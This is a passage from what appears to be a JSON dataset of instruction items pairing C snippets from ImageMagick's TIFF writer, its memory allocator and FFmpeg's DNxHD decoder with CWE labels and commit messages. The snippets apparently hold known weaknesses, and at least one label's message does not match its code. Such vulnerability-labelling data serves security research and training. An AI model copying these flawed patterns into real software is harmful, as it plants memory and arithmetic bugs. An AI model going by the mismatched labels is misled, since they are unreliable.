TIFFSetField(tiff,TIFFTAG_IMAGEWIDTH,(uint32) image->columns);\n    switch (compression)\n    {\n      case FaxCompression:\n      {\n        compress_tag=COMPRESSION_CCITTFAX3;\n        SetQuantumMinIsWhite(quantum_info,MagickTrue);\n        break;\n      }\n      case Group4Compression:\n      {\n        compress_tag=COMPRESSION_CCITTFAX4;\n        SetQuantumMinIsWhite(quantum_info,MagickTrue);\n        break;\n      }\n#if defined(COMPRESSION_JBIG)\n      case JBIG1Compression:\n      {\n        compress_tag=COMPRESSION_JBIG;\n        break;\n      }\n#endif\n      case JPEGCompression:\n      {\n        compress_tag=COMPRESSION_JPEG;\n        break;\n      }\n#if defined(COMPRESSION_LZMA)\n      case LZMACompression:\n      {\n        compress_tag=COMPRESSION_LZMA;\n        break;\n      }\n#endif\n      case LZWCompression:\n      {\n        compress_tag=COMPRESSION_LZW;\n        break;\n      }\n      case RLECompression:\n      {\n        compress_tag=COMPRESSION_PACKBITS;\n        break;\n      }\n      case ZipCompression:\n      {\n        compress_tag=COMPRESSION_ADOBE_DEFLATE;\n        break;\n      }\n      case NoCompression:\n      default:\n      {\n        compress_tag=COMPRESSION_NONE;\n        break;\n      }\n    }\n#if defined(MAGICKCORE_HAVE_TIFFISCODECCONFIGURED) || (TIFFLIB_VERSION > 20040919)\n    if ((compress_tag != COMPRESSION_NONE) &&\n        (TIFFIsCODECConfigured(compress_tag) == 0))\n      {\n        (void) ThrowMagickException(exception,GetMagickModule(),CoderError,\n          \"CompressionNotSupported\",\"`%s'\",CommandOptionToMnemonic(\n          MagickCompressOptions,(ssize_t) compression));\n        compress_tag=COMPRESSION_NONE;\n        compression=NoCompression;\n      }\n#else\n      switch (compress_tag)\n      {\n#if defined(CCITT_SUPPORT)\n        case COMPRESSION_CCITTFAX3:\n        case COMPRESSION_CCITTFAX4:\n#endif\n#if defined(YCBCR_SUPPORT) && defined(JPEG_SUPPORT)\n        case COMPRESSION_JPEG:\n#endif\n#if defined(LZMA_SUPPORT) && defined(COMPRESSION_LZMA)\n        case COMPRESSION_LZMA:\n#endif\n#if defined(LZW_SUPPORT)\n        case COMPRESSION_LZW:\n#endif\n#if defined(PACKBITS_SUPPORT)\n        case COMPRESSION_PACKBITS:\n#endif\n#if defined(ZIP_SUPPORT)\n        case COMPRESSION_ADOBE_DEFLATE:\n#endif\n        case COMPRESSION_NONE:\n          break;\n        default:\n        {\n          (void) ThrowMagickException(exception,GetMagickModule(),CoderError,\n            \"CompressionNotSupported\",\"`%s'\",CommandOptionToMnemonic(\n              MagickCompressOptions,(ssize_t) compression));\n          compress_tag=COMPRESSION_NONE;\n          compression=NoCompression;\n          break;\n        }\n      }\n#endif\n    if (image->colorspace == CMYKColorspace)\n      {\n        photometric=PHOTOMETRIC_SEPARATED;\n        (void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,4);\n        (void) TIFFSetField(tiff,TIFFTAG_INKSET,INKSET_CMYK);\n      }\n    else\n      {\n        /*\n          Full color TIFF raster.\n        */\n        if (image->colorspace == LabColorspace)\n          {\n            photometric=PHOTOMETRIC_CIELAB;\n            EncodeLabImage(image,exception);\n          }\n        else\n          if (image->colorspace == YCbCrColorspace)\n            {\n              photometric=PHOTOMETRIC_YCBCR;\n              (void) TIFFSetField(tiff,TIFFTAG_YCBCRSUBSAMPLING,1,1);\n              (void) SetImageStorageClass(image,DirectClass,exception);\n              (void) SetImageDepth(image,8,exception);\n            }\n          else\n            photometric=PHOTOMETRIC_RGB;\n        (void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,3);\n        if ((image_info->type != TrueColorType) &&\n            (image_info->type != TrueColorAlphaType))\n          {\n            if ((image_info->type != PaletteType) &&\n                (SetImageGray(image,exception) != MagickFalse))\n              {\n                photometric=(uint16) (quantum_info->min_is_white !=\n                  MagickFalse ? PHOTOMETRIC_MINISWHITE :\n                  PHOTOMETRIC_MINISBLACK);\n                (void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,1);\n                if ((image->depth == 1) &&\n                    (image->alpha_trait == UndefinedPixelTrait))\n                  SetImageMonochrome(image,exception);\n              }\n            else\n              if (image->storage_class == PseudoClass)\n                {\n                  size_t\n                    depth;\n\n                  /*\n                    Colormapped TIFF raster.\n                  */\n                  (void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,1);\n                  photometric=PHOTOMETRIC_PALETTE;\n                  depth=1;\n                  while ((GetQuantumRange(depth)+1) < image->colors)\n                    depth<<=1;\n                  status=SetQuantumDepth(image,quantum_info,depth);\n                  if (status == MagickFalse)\n                    ThrowWriterException(ResourceLimitError,\n                      \"MemoryAllocationFailed\");\n                }\n          }\n      }\n    (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_FILLORDER,&endian);\n    if ((compress_tag == COMPRESSION_CCITTFAX3) &&\n        (photometric != PHOTOMETRIC_MINISWHITE))\n      {\n        compress_tag=COMPRESSION_NONE;\n        endian=FILLORDER_MSB2LSB;\n      }\n    else\n      if ((compress_tag == COMPRESSION_CCITTFAX4) &&\n         (photometric != PHOTOMETRIC_MINISWHITE))\n       {\n         compress_tag=COMPRESSION_NONE;\n         endian=FILLORDER_MSB2LSB;\n       }\n    option=GetImageOption(image_info,\"tiff:fill-order\");\n    if (option != (const char *) NULL)\n      {\n        if (LocaleNCompare(option,\"msb\",3) == 0)\n          endian=FILLORDER_MSB2LSB;\n        if (LocaleNCompare(option,\"lsb\",3) == 0)\n          endian=FILLORDER_LSB2MSB;\n      }\n    (void) TIFFSetField(tiff,TIFFTAG_COMPRESSION,compress_tag);\n    (void) TIFFSetField(tiff,TIFFTAG_FILLORDER,endian);\n    (void) TIFFSetField(tiff,TIFFTAG_BITSPERSAMPLE,quantum_info->depth);\n    if (image->alpha_trait != UndefinedPixelTrait)\n      {\n        uint16\n          extra_samples,\n          sample_info[1],\n          samples_per_pixel;\n\n        /*\n          TIFF has a matte channel.\n        */\n        extra_samples=1;\n        sample_info[0]=EXTRASAMPLE_UNASSALPHA;\n        option=GetImageOption(image_info,\"tiff:alpha\");\n        if (option != (const char *) NULL)\n          {\n            if (LocaleCompare(option,\"associated\") == 0)\n              sample_info[0]=EXTRASAMPLE_ASSOCALPHA;\n            else\n              if (LocaleCompare(option,\"unspecified\") == 0)\n                sample_info[0]=EXTRASAMPLE_UNSPECIFIED;\n          }\n        (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,\n          &samples_per_pixel);\n        (void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,samples_per_pixel+1);\n        (void) TIFFSetField(tiff,TIFFTAG_EXTRASAMPLES,extra_samples,\n          &sample_info);\n        if (sample_info[0] == EXTRASAMPLE_ASSOCALPHA)\n          SetQuantumAlphaType(quantum_info,AssociatedQuantumAlpha);\n      }\n    (void) TIFFSetField(tiff,TIFFTAG_PHOTOMETRIC,photometric);\n    switch (quantum_info->format)\n    {\n      case FloatingPointQuantumFormat:\n      {\n        (void) TIFFSetField(tiff,TIFFTAG_SAMPLEFORMAT,SAMPLEFORMAT_IEEEFP);\n        (void) TIFFSetField(tiff,TIFFTAG_SMINSAMPLEVALUE,quantum_info->minimum);\n        (void) TIFFSetField(tiff,TIFFTAG_SMAXSAMPLEVALUE,quantum_info->maximum);\n        break;\n      }\n      case SignedQuantumFormat:\n      {\n        (void) TIFFSetField(tiff,TIFFTAG_SAMPLEFORMAT,SAMPLEFORMAT_INT);\n        break;\n      }\n      case UnsignedQuantumFormat:\n      {\n        (void) TIFFSetField(tiff,TIFFTAG_SAMPLEFORMAT,SAMPLEFORMAT_UINT);\n        break;\n      }\n      default:\n        break;\n    }\n    (void) TIFFSetField(tiff,TIFFTAG_ORIENTATION,ORIENTATION_TOPLEFT);\n    (void) TIFFSetField(tiff,TIFFTAG_PLANARCONFIG,PLANARCONFIG_CONTIG);\n    if (photometric == PHOTOMETRIC_RGB)\n      if ((image_info->interlace == PlaneInterlace) ||\n          (image_info->interlace == PartitionInterlace))\n        (void) TIFFSetField(tiff,TIFFTAG_PLANARCONFIG,PLANARCONFIG_SEPARATE);\n     rows_per_strip=TIFFDefaultStripSize(tiff,0);\n    option=GetImageOption(image_info,\"tiff:rows-per-strip\");\n    if (option != (const char *) NULL)\n      rows_per_strip=(size_t) strtol(option,(char **) NULL,10);\n    switch (compress_tag)\n    {\n      case COMPRESSION_JPEG:\n      {\n#if defined(JPEG_SUPPORT)\n        const char\n          *sampling_factor;\n\n        GeometryInfo\n          geometry_info;\n\n        MagickStatusType\n          flags;\n\n        rows_per_strip+=(16-(rows_per_strip % 16));\n        if (image_info->quality != UndefinedCompressionQuality)\n          (void) TIFFSetField(tiff,TIFFTAG_JPEGQUALITY,image_info->quality);\n        (void) TIFFSetField(tiff,TIFFTAG_JPEGCOLORMODE,JPEGCOLORMODE_RAW);\n        if (IssRGBCompatibleColorspace(image->colorspace) != MagickFalse)\n          {\n            const char\n              *value;\n\n            (void) TIFFSetField(tiff,TIFFTAG_JPEGCOLORMODE,JPEGCOLORMODE_RGB);\n            sampling_factor=(const char *) NULL;\n            value=GetImageProperty(image,\"jpeg:sampling-factor\",exception);\n            if (value != (char *) NULL)\n              {\n                sampling_factor=value;\n                if (image->debug != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"  Input sampling-factors=%s\",sampling_factor);\n              }\n            if (image_info->sampling_factor != (char *) NULL)\n              sampling_factor=image_info->sampling_factor;\n            if (sampling_factor != (const char *) NULL)\n              {\n                flags=ParseGeometry(sampling_factor,&geometry_info);\n                if ((flags & SigmaValue) == 0)\n                  geometry_info.sigma=geometry_info.rho;\n                if (image->colorspace == YCbCrColorspace)\n                  (void) TIFFSetField(tiff,TIFFTAG_YCBCRSUBSAMPLING,(uint16)\n                    geometry_info.rho,(uint16) geometry_info.sigma);\n              }\n          }\n        (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,\n          &bits_per_sample);\n        if (bits_per_sample == 12)\n          (void) TIFFSetField(tiff,TIFFTAG_JPEGTABLESMODE,JPEGTABLESMODE_QUANT);\n#endif\n        break;\n      }\n      case COMPRESSION_ADOBE_DEFLATE:\n      {\n        rows_per_strip=(uint32) image->rows;\n        (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,\n          &bits_per_sample);\n        if (((photometric == PHOTOMETRIC_RGB) ||\n             (photometric == PHOTOMETRIC_MINISBLACK)) &&\n            ((bits_per_sample == 8) || (bits_per_sample == 16)))\n          (void) TIFFSetField(tiff,TIFFTAG_PREDICTOR,PREDICTOR_HORIZONTAL);\n        (void) TIFFSetField(tiff,TIFFTAG_ZIPQUALITY,(long) (\n          image_info->quality == UndefinedCompressionQuality ? 7 :\n          MagickMin((ssize_t) image_info->quality/10,9)));\n        break;\n      }\n      case COMPRESSION_CCITTFAX3:\n      {\n        /*\n          Byte-aligned EOL.\n        */\n        rows_per_strip=(uint32) image->rows;\n        (void) TIFFSetField(tiff,TIFFTAG_GROUP3OPTIONS,4);\n        break;\n      }\n      case COMPRESSION_CCITTFAX4:\n      {\n        rows_per_strip=(uint32) image->rows;\n        break;\n      }\n#if defined(LZMA_SUPPORT) && defined(COMPRESSION_LZMA)\n      case COMPRESSION_LZMA:\n      {\n        if (((photometric == PHOTOMETRIC_RGB) ||\n             (photometric == PHOTOMETRIC_MINISBLACK)) &&\n            ((bits_per_sample == 8) || (bits_per_sample == 16)))\n          (void) TIFFSetField(tiff,TIFFTAG_PREDICTOR,PREDICTOR_HORIZONTAL);\n        (void) TIFFSetField(tiff,TIFFTAG_LZMAPRESET,(long) (\n          image_info->quality == UndefinedCompressionQuality ? 7 :\n          MagickMin((ssize_t) image_info->quality/10,9)));\n        break;\n      }\n#endif\n      case COMPRESSION_LZW:\n      {\n        (void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,\n          &bits_per_sample);\n        if (((photometric == PHOTOMETRIC_RGB) ||\n             (photometric == PHOTOMETRIC_MINISBLACK)) &&\n            ((bits_per_sample == 8) || (bits_per_sample == 16)))\n          (void) TIFFSetField(tiff,TIFFTAG_PREDICTOR,PREDICTOR_HORIZONTAL);\n        break;\n      }\n      default:\n        break;\n    }\n    if (rows_per_strip < 1)\n      rows_per_strip=1;\n    if ((image->rows/rows_per_strip) >= (1UL << 15))\n      rows_per_strip=(uint32) (image->rows >> 15);\n    (void) TIFFSetField(tiff,TIFFTAG_ROWSPERSTRIP,rows_per_strip);\n    if ((image->resolution.x != 0.0) && (image->resolution.y != 0.0))\n      {\n        unsigned short\n          units;\n\n        /*\n          Set image resolution.\n        */\n        units=RESUNIT_NONE;\n        if (image->units == PixelsPerInchResolution)\n          units=RESUNIT_INCH;\n        if (image->units == PixelsPerCentimeterResolution)\n          units=RESUNIT_CENTIMETER;\n        (void) TIFFSetField(tiff,TIFFTAG_RESOLUTIONUNIT,(uint16) units);\n        (void) TIFFSetField(tiff,TIFFTAG_XRESOLUTION,image->resolution.x);\n        (void) TIFFSetField(tiff,TIFFTAG_YRESOLUTION,image->resolution.y);\n        if ((image->page.x < 0) || (image->page.y < 0))\n          (void) ThrowMagickException(exception,GetMagickModule(),CoderError,\n            \"TIFF: negative image positions unsupported\",\"%s\",image->filename);\n        if ((image->page.x > 0) && (image->resolution.x > 0.0))\n          {\n            /*\n              Set horizontal image position.\n            */\n            (void) TIFFSetField(tiff,TIFFTAG_XPOSITION,(float) image->page.x/\n              image->resolution.x);\n          }\n        if ((image->page.y > 0) && (image->resolution.y > 0.0))\n          {\n            /*\n              Set vertical image position.\n            */\n            (void) TIFFSetField(tiff,TIFFTAG_YPOSITION,(float) image->page.y/\n              image->resolution.y);\n          }\n      }\n    if (image->chromaticity.white_point.x != 0.0)\n      {\n        float\n          chromaticity[6];\n\n        /*\n          Set image chromaticity.\n        */\n        chromaticity[0]=(float) image->chromaticity.red_primary.x;\n        chromaticity[1]=(float) image->chromaticity.red_primary.y;\n        chromaticity[2]=(float) image->chromaticity.green_primary.x;\n        chromaticity[3]=(float) image->chromaticity.green_primary.y;\n        chromaticity[4]=(float) image->chromaticity.blue_primary.x;\n        chromaticity[5]=(float) image->chromaticity.blue_primary.y;\n        (void) TIFFSetField(tiff,TIFFTAG_PRIMARYCHROMATICITIES,chromaticity);\n        chromaticity[0]=(float) image->chromaticity.white_point.x;\n        chromaticity[1]=(float) image->chromaticity.white_point.y;\n        (void) TIFFSetField(tiff,TIFFTAG_WHITEPOINT,chromaticity);\n      }\n    if ((LocaleCompare(image_info->magick,\"PTIF\") != 0) &&\n        (image_info->adjoin != MagickFalse) && (GetImageListLength(image) > 1))\n      {\n        (void) TIFFSetField(tiff,TIFFTAG_SUBFILETYPE,FILETYPE_PAGE);\n        if (image->scene != 0)\n          (void) TIFFSetField(tiff,TIFFTAG_PAGENUMBER,(uint16) image->scene,\n            GetImageListLength(image));\n      }\n    if (image->orientation != UndefinedOrientation)\n      (void) TIFFSetField(tiff,TIFFTAG_ORIENTATION,(uint16) image->orientation);\n    (void) TIFFSetProfiles(tiff,image);\n    {\n      uint16\n        page,\n        pages;\n\n      page=(uint16) scene;\n      pages=(uint16) GetImageListLength(image);\n      if ((LocaleCompare(image_info->magick,\"PTIF\") != 0) &&\n          (image_info->adjoin != MagickFalse) && (pages > 1))\n        (void) TIFFSetField(tiff,TIFFTAG_SUBFILETYPE,FILETYPE_PAGE);\n      (void) TIFFSetField(tiff,TIFFTAG_PAGENUMBER,page,pages);\n    }\n    (void) TIFFSetProperties(tiff,image_info,image,exception);\nDisableMSCWarning(4127)\n    if (0)\nRestoreMSCWarning\n      (void) TIFFSetEXIFProperties(tiff,image,exception);\n    /*\n      Write image scanlines.\n    */\n    if (GetTIFFInfo(image_info,tiff,&tiff_info) == MagickFalse)\n      ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n    quantum_info->endian=LSBEndian;\n    pixels=(unsigned char *) GetQuantumPixels(quantum_info);\n    tiff_info.scanline=(unsigned char *) GetQuantumPixels(quantum_info);\n    switch (photometric)\n    {\n      case PHOTOMETRIC_CIELAB:\n      case PHOTOMETRIC_YCBCR:\n      case PHOTOMETRIC_RGB:\n      {\n        /*\n          RGB TIFF image.\n        */\n        switch (image_info->interlace)\n        {\n          case NoInterlace:\n          default:\n          {\n            quantum_type=RGBQuantum;\n            if (image->alpha_trait != UndefinedPixelTrait)\n              quantum_type=RGBAQuantum;\n            for (y=0; y < (ssize_t) image->rows; y++)\n            {\n              register const Quantum\n                *magick_restrict p;\n\n              p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n              if (p == (const Quantum *) NULL)\n                break;\n              length=ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n                quantum_type,pixels,exception);\n              (void) length;\n              if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)\n                break;\n              if (image->previous == (Image *) NULL)\n                {\n                  status=SetImageProgress(image,SaveImageTag,(MagickOffsetType)\n                    y,image->rows);\n                  if (status == MagickFalse)\n                    break;\n                }\n            }\n            break;\n          }\n          case PlaneInterlace:\n          case PartitionInterlace:\n          {\n            /*\n              Plane interlacing:  RRRRRR...GGGGGG...BBBBBB...\n            */\n            for (y=0; y < (ssize_t) image->rows; y++)\n            {\n              register const Quantum\n                *magick_restrict p;\n\n              p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n              if (p == (const Quantum *) NULL)\n                break;\n              length=ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n                RedQuantum,pixels,exception);\n              if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)\n                break;\n            }\n            if (image->previous == (Image *) NULL)\n              {\n                status=SetImageProgress(image,SaveImageTag,100,400);\n                if (status == MagickFalse)\n                  break;\n              }\n            for (y=0; y < (ssize_t) image->rows; y++)\n            {\n              register const Quantum\n                *magick_restrict p;\n\n              p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n              if (p == (const Quantum *) NULL)\n                break;\n              length=ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n                GreenQuantum,pixels,exception);\n              if (TIFFWritePixels(tiff,&tiff_info,y,1,image) == -1)\n                break;\n            }\n            if (image->previous == (Image *) NULL)\n              {\n                status=SetImageProgress(image,SaveImageTag,200,400);\n                if (status == MagickFalse)\n                  break;\n              }\n            for (y=0; y < (ssize_t) image->rows; y++)\n            {\n              register const Quantum\n                *magick_restrict p;\n\n              p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n              if (p == (const Quantum *) NULL)\n                break;\n              length=ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n                BlueQuantum,pixels,exception);\n              if (TIFFWritePixels(tiff,&tiff_info,y,2,image) == -1)\n                break;\n            }\n            if (image->previous == (Image *) NULL)\n              {\n                status=SetImageProgress(image,SaveImageTag,300,400);\n                if (status == MagickFalse)\n                  break;\n              }\n            if (image->alpha_trait != UndefinedPixelTrait)\n              for (y=0; y < (ssize_t) image->rows; y++)\n              {\n                register const Quantum\n                  *magick_restrict p;\n\n                p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n                if (p == (const Quantum *) NULL)\n                  break;\n                length=ExportQuantumPixels(image,(CacheView *) NULL,\n                  quantum_info,AlphaQuantum,pixels,exception);\n                if (TIFFWritePixels(tiff,&tiff_info,y,3,image) == -1)\n                  break;\n              }\n            if (image->previous == (Image *) NULL)\n              {\n                status=SetImageProgress(image,SaveImageTag,400,400);\n                if (status == MagickFalse)\n                  break;\n              }\n            break;\n          }\n        }\n        break;\n      }\n      case PHOTOMETRIC_SEPARATED:\n      {\n        /*\n          CMYK TIFF image.\n        */\n        quantum_type=CMYKQuantum;\n        if (image->alpha_trait != UndefinedPixelTrait)\n          quantum_type=CMYKAQuantum;\n        if (image->colorspace != CMYKColorspace)\n          (void) TransformImageColorspace(image,CMYKColorspace,exception);\n        for (y=0; y < (ssize_t) image->rows; y++)\n        {\n          register const Quantum\n            *magick_restrict p;\n\n          p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n          if (p == (const Quantum *) NULL)\n            break;\n          length=ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n            quantum_type,pixels,exception);\n          if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)\n            break;\n          if (image->previous == (Image *) NULL)\n            {\n              status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n                image->rows);\n              if (status == MagickFalse)\n                break;\n            }\n        }\n        break;\n      }\n      case PHOTOMETRIC_PALETTE:\n      {\n        uint16\n          *blue,\n          *green,\n          *red;\n\n        /*\n          Colormapped TIFF image.\n        */\n        red=(uint16 *) AcquireQuantumMemory(65536,sizeof(*red));\n        green=(uint16 *) AcquireQuantumMemory(65536,sizeof(*green));\n        blue=(uint16 *) AcquireQuantumMemory(65536,sizeof(*blue));\n        if ((red == (uint16 *) NULL) || (green == (uint16 *) NULL) ||\n            (blue == (uint16 *) NULL))\n          ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n        /*\n          Initialize TIFF colormap.\n        */\n        (void) ResetMagickMemory(red,0,65536*sizeof(*red));\n        (void) ResetMagickMemory(green,0,65536*sizeof(*green));\n        (void) ResetMagickMemory(blue,0,65536*sizeof(*blue));\n        for (i=0; i < (ssize_t) image->colors; i++)\n        {\n          red[i]=ScaleQuantumToShort(image->colormap[i].red);\n          green[i]=ScaleQuantumToShort(image->colormap[i].green);\n          blue[i]=ScaleQuantumToShort(image->colormap[i].blue);\n        }\n        (void) TIFFSetField(tiff,TIFFTAG_COLORMAP,red,green,blue);\n        red=(uint16 *) RelinquishMagickMemory(red);\n        green=(uint16 *) RelinquishMagickMemory(green);\n        blue=(uint16 *) RelinquishMagickMemory(blue);\n      }\n      default:\n      {\n        /*\n          Convert PseudoClass packets to contiguous grayscale scanlines.\n        */\n        quantum_type=IndexQuantum;\n        if (image->alpha_trait != UndefinedPixelTrait)\n          {\n            if (photometric != PHOTOMETRIC_PALETTE)\n              quantum_type=GrayAlphaQuantum;\n            else\n              quantum_type=IndexAlphaQuantum;\n           }\n         else\n           if (photometric != PHOTOMETRIC_PALETTE)\n             quantum_type=GrayQuantum;\n        for (y=0; y < (ssize_t) image->rows; y++)\n        {\n          register const Quantum\n            *magick_restrict p;\n\n          p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n          if (p == (const Quantum *) NULL)\n            break;\n          length=ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n            quantum_type,pixels,exception);\n          if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)\n            break;\n          if (image->previous == (Image *) NULL)\n            {\n              status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n                image->rows);\n              if (status == MagickFalse)\n                break;\n            }\n        }\n        break;\n      }\n    }\n    quantum_info=DestroyQuantumInfo(quantum_info);\n    if (image->colorspace == LabColorspace)\n      DecodeLabImage(image,exception);\n    DestroyTIFFInfo(&tiff_info);\nDisableMSCWarning(4127)\n    if (0 && (image_info->verbose != MagickFalse))\nRestoreMSCWarning\n      TIFFPrintDirectory(tiff,stdout,MagickFalse);\n    (void) TIFFWriteDirectory(tiff);\n    image=SyncNextImageInList(image);\n    if (image == (Image *) NULL)\n      break;\n    status=SetImageProgress(image,SaveImagesTag,scene++,\n      GetImageListLength(image));\n    if (status == MagickFalse)\n      break;\n  } while (image_info->adjoin != MagickFalse);\n  TIFFClose(tiff);\n  return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'Fix TIFF divide by zero (bug report from Donghai Zhu)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MagickExport void *AcquireQuantumMemory(const size_t count,const size_t quantum)\n{\n  size_t\n    extent;\n\n  if (CheckMemoryOverflow(count,quantum) != MagickFalse)\n    return((void *) NULL);\n  extent=count*quantum;\n  return(AcquireMagickMemory(extent));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'Suspend exception processing if too many exceptions'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int dnxhd_decode_header(DNXHDContext *ctx, AVFrame *frame,\n                               const uint8_t *buf, int buf_size,\n                               int first_field)\n{\n    int i, cid, ret;\n    int old_bit_depth = ctx->bit_depth, bitdepth;\n    uint64_t header_prefix;\n    if (buf_size < 0x280) {\n        av_log(ctx->avctx, AV_LOG_ERROR,\n               \"buffer too small (%d < 640).\\n\", buf_size);\n        return AVERROR_INVALIDDATA;\n    }\n\n    header_prefix = ff_dnxhd_parse_header_prefix(buf);\n    if (header_prefix == 0) {\n        av_log(ctx->avctx, AV_LOG_ERROR,\n               \"unknown header 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X\\n\",\n               buf[0], buf[1], buf[2], buf[3], buf[4]);\n        return AVERROR_INVALIDDATA;\n    }\n    if (buf[5] & 2) { /* interlaced */\n        ctx->cur_field = buf[5] & 1;\n        frame->interlaced_frame = 1;\n        frame->top_field_first  = first_field ^ ctx->cur_field;\n        av_log(ctx->avctx, AV_LOG_DEBUG,\n               \"interlaced %d, cur field %d\\n\", buf[5] & 3, ctx->cur_field);\n    } else {\n        ctx->cur_field = 0;\n    }\n    ctx->mbaff = (buf[0x6] >> 5) & 1;\n\n    ctx->height = AV_RB16(buf + 0x18);\n    ctx->width  = AV_RB16(buf + 0x1a);\n\n    switch(buf[0x21] >> 5) {\n    case 1: bitdepth = 8; break;\n    case 2: bitdepth = 10; break;\n    case 3: bitdepth = 12; break;\n    default:\n        av_log(ctx->avctx, AV_LOG_ERROR,\n               \"Unknown bitdepth indicator (%d)\\n\", buf[0x21] >> 5);\n        return AVERROR_INVALIDDATA;\n    }\n\n    cid = AV_RB32(buf + 0x28);\n\n    ctx->avctx->profile = dnxhd_get_profile(cid);\n\n    if ((ret = dnxhd_init_vlc(ctx, cid, bitdepth)) < 0)\n        return ret;\n    if (ctx->mbaff && ctx->cid_table->cid != 1260)\n        av_log(ctx->avctx, AV_LOG_WARNING,\n               \"Adaptive MB interlace flag in an unsupported profile.\\n\");\n\n    ctx->act = buf[0x2C] & 7;\n    if (ctx->act && ctx->cid_table->cid != 1256 && ctx->cid_table->cid != 1270)\n        av_log(ctx->avctx, AV_LOG_WARNING,\n               \"Adaptive color transform in an unsupported profile.\\n\");\n\n    ctx->is_444 = (buf[0x2C] >> 6) & 1;\n    if (ctx->is_444) {\n        if (bitdepth == 8) {\n            avpriv_request_sample(ctx->avctx, \"4:4:4 8 bits\");\n            return AVERROR_INVALIDDATA;\n        } else if (bitdepth == 10) {\n            ctx->decode_dct_block = dnxhd_decode_dct_block_10_444;\n            ctx->pix_fmt = ctx->act ? AV_PIX_FMT_YUV444P10\n                                    : AV_PIX_FMT_GBRP10;\n        } else {\n            ctx->decode_dct_block = dnxhd_decode_dct_block_12_444;\n            ctx->pix_fmt = ctx->act ? AV_PIX_FMT_YUV444P12\n                                    : AV_PIX_FMT_GBRP12;\n        }\n    } else if (bitdepth == 12) {\n        ctx->decode_dct_block = dnxhd_decode_dct_block_12;\n        ctx->pix_fmt = AV_PIX_FMT_YUV422P12;\n    } else if (bitdepth == 10) {\n        if (ctx->avctx->profile == FF_PROFILE_DNXHR_HQX)\n            ctx->decode_dct_block = dnxhd_decode_dct_block_10_444;\n        else\n            ctx->decode_dct_block = dnxhd_decode_dct_block_10;\n        ctx->pix_fmt = AV_PIX_FMT_YUV422P10;\n    } else {\n        ctx->decode_dct_block = dnxhd_decode_dct_block_8;\n        ctx->pix_fmt = AV_PIX_FMT_YUV422P;\n    }\n\n    ctx->avctx->bits_per_raw_sample = ctx->bit_depth = bitdepth;\n    if (ctx->bit_depth != old_bit_depth) {\n        ff_blockdsp_init(&ctx->bdsp, ctx->avctx);\n        ff_idctdsp_init(&ctx->idsp, ctx->avctx);\n        ff_init_scantable(ctx->idsp.idct_permutation, &ctx->scantable,\n                          ff_zigzag_direct);\n    }\n\n    // make sure profile size constraints are respected\n    // DNx100 allows 1920->1440 and 1280->960 subsampling\n    if (ctx->width != ctx->cid_table->width &&\n        ctx->cid_table->width != DNXHD_VARIABLE) {\n        av_reduce(&ctx->avctx->sample_aspect_ratio.num,\n                  &ctx->avctx->sample_aspect_ratio.den,\n                  ctx->width, ctx->cid_table->width, 255);\n        ctx->width = ctx->cid_table->width;\n    }\n\n    if (buf_size < ctx->cid_table->coding_unit_size) {\n        av_log(ctx->avctx, AV_LOG_ERROR, \"incorrect frame size (%d < %u).\\n\",\n               buf_size, ctx->cid_table->coding_unit_size);\n        return AVERROR_INVALIDDATA;\n    }\n\n    ctx->mb_width  = (ctx->width + 15)>> 4;\n    ctx->mb_height = AV_RB16(buf + 0x16c);\n\n    if ((ctx->height + 15) >> 4 == ctx->mb_height && frame->interlaced_frame)\n        ctx->height <<= 1;\n\n    av_log(ctx->avctx, AV_LOG_VERBOSE, \"%dx%d, 4:%s %d bits, MBAFF=%d ACT=%d\\n\",\n           ctx->width, ctx->height, ctx->is_444 ? \"4:4\" : \"2:2\",\n           ctx->bit_depth, ctx->mbaff, ctx->act);\n\n    // Newer format supports variable mb_scan_index sizes\n    if (ctx->mb_height > 68 && ff_dnxhd_check_header_prefix_hr(header_prefix)) {\n        ctx->data_offset = 0x170 + (ctx->mb_height << 2);\n    } else {\n        if (ctx->mb_height 